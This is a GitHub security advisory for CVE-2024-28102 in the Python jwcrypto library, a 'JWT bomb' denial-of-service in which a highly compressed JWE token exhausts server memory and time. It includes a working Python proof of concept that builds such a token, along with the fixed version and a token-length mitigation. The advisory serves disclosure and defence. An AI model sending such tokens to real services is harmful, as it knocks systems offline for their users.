GitHub Advisoryadvisory · PyPI

GHSA-j857-7rvv-vj97 JWCrypto vulnerable to JWT bomb Attack in `deserialize` function

MEDIUM Published 2024-03-06 Modified 2025-12-22 Official page ↗
Aliases
CVE-2024-28102
Ecosystem
PyPI
Packages
jwcrypto
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H
Weaknesses
CWE-770
Reviewed
2024-03-06

Affected packages

• PyPI jwcrypto: < 1.5.6 → fixed in 1.5.6

Description

Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5 Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time. Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public())) payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print("-----uncompress-----") print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) print("-----compress-----") payload = '{"u": "' + "u" * 400000 + '", "uu":"' + "u" * 400000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print(len(enc)) begin = time.time() jwetoken = jwe.JWE() jwetoken.deserialize(enc, key=private_key) print(time.time() - begin) ``` It can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer. Mitigation To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing attackers from exploiting this vulnerability with high compression ratio tokens. References [1] CVE-2024-21319

Related

Alias · CVE (1)

  • CVE-2024-28102 JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. vulnerability

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References